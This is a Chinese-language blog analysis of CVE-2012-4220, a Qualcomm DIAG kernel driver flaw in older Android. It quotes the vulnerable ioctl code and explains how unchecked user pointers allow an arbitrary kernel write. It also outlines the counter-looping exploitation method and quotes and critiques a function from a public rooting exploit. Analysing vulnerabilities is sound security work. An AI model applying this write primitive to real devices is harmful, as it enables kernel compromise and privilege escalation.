CVE-2012-4220 原理分析

漏洞信息

该漏洞的一些相关连接:

上述连接中对该漏洞的描述:

diagchar_core.c in the Qualcomm Innovation Center (QuIC) Diagnostics (aka DIAG) kernel-mode driver for Android 2.3 through 4.2 allows attackers to execute arbitrary code or cause a denial of service (incorrect pointer dereference) via an application that uses crafted arguments in a local diagchar_ioctl call.

漏洞分析

造成该漏洞的主要代码如下:

// file: drivers/char/diag/diagchar_core.c
// function: diagchar_ioctl
} else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
  struct diagpkt_delay_params *delay_params =
        (struct diagpkt_delay_params *) ioarg;
  if ((delay_params->rsp_ptr) &&
   (delay_params->size == sizeof(delayed_rsp_id)) &&
       (delay_params->num_bytes_ptr)) {
    *((uint16_t *)delay_params->rsp_ptr) =
      DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
    *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
    success = 0;
}

这代码有两个问题:

  1. 1. 对于用户态传递的参数ioarg没有检验直接使用。传递一个无效指针即可造成拒绝服务。
    2. 对delay_params中的rsp_ptr以及num_bytes_ptr两个用户态的指针仅做了非空判断就直接使用。传递无效指针可造成拒绝服务,传递其他地址可以造成任意地址写入攻击。

利用思路

先看一下相关的代码:

static uint16_t delayed_rsp_id = 1;
#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF
#define DIAGPKT_NEXT_DELAYED_RSP_ID(x)
((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)

完成有效的攻击需要注意几点。delay_params->rsp_ptr被当作16位的指针处理,写入的内容是delayed_rsp_id的值,这个值的范围是0x2~0xFFFF。如果希望向特定的地址写入特定的值,需要获取到当前的delayed_rsp_id的值,然后用目标值减去当前值,得到了循环的次数,最后循环发送ioctl即可将特定地址的值修改为我们想要的值。如果delayed_rsp_id的值要比目标的值大,则可以使用num_bytes_ptr来重置delayed_rsp_id的值为2。

利用代码

写得比较完整的利用代码可以参考android-rooting-tools里的libdiagexploit,不过这个利用代码有个比较严重的bug:

static bool
inject_value(struct diag_values *data,
             int fd, void *delayed_rsp_id_address)
{
  uint16_t delayed_rsp_id_value = 0;
  int i, loop_count, ret;
  ret = get_current_delayed_rsp_id(fd);
  if (ret < 0) {
    return false;
  }
  delayed_rsp_id_value = ret;
  data->original_value = delayed_rsp_id_value;
  if (delayed_rsp_id_value > data->value &&
    reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
    return false;
  }
  loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
  for (i = 0; i < loop_count; i++) {
    int unused;
    if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
      return false;
    }
  }
  return true;
}

代码中,在delayed_rsp_id_value比data->value大的时候,会调用reset_delayed_rsp_id重置delayed_rsp_id计数为2,但这个时候,并没有修改局部变量的delayed_rsp_id_value为2,导致后面计算的loop_count不正确,因此无法正确的写入值。而且写入值的时候,需要注意控制0和1的出现。比如写入地址的时候,分配一块地址较高内存进行处理会让利用更稳定一些。

参考文章

  • http://retme.net/index.php/2014/03/31/CVE-2012-4220-diag.html
  • http://blog.csdn.net/hu3167343/article/details/36180761

发表评论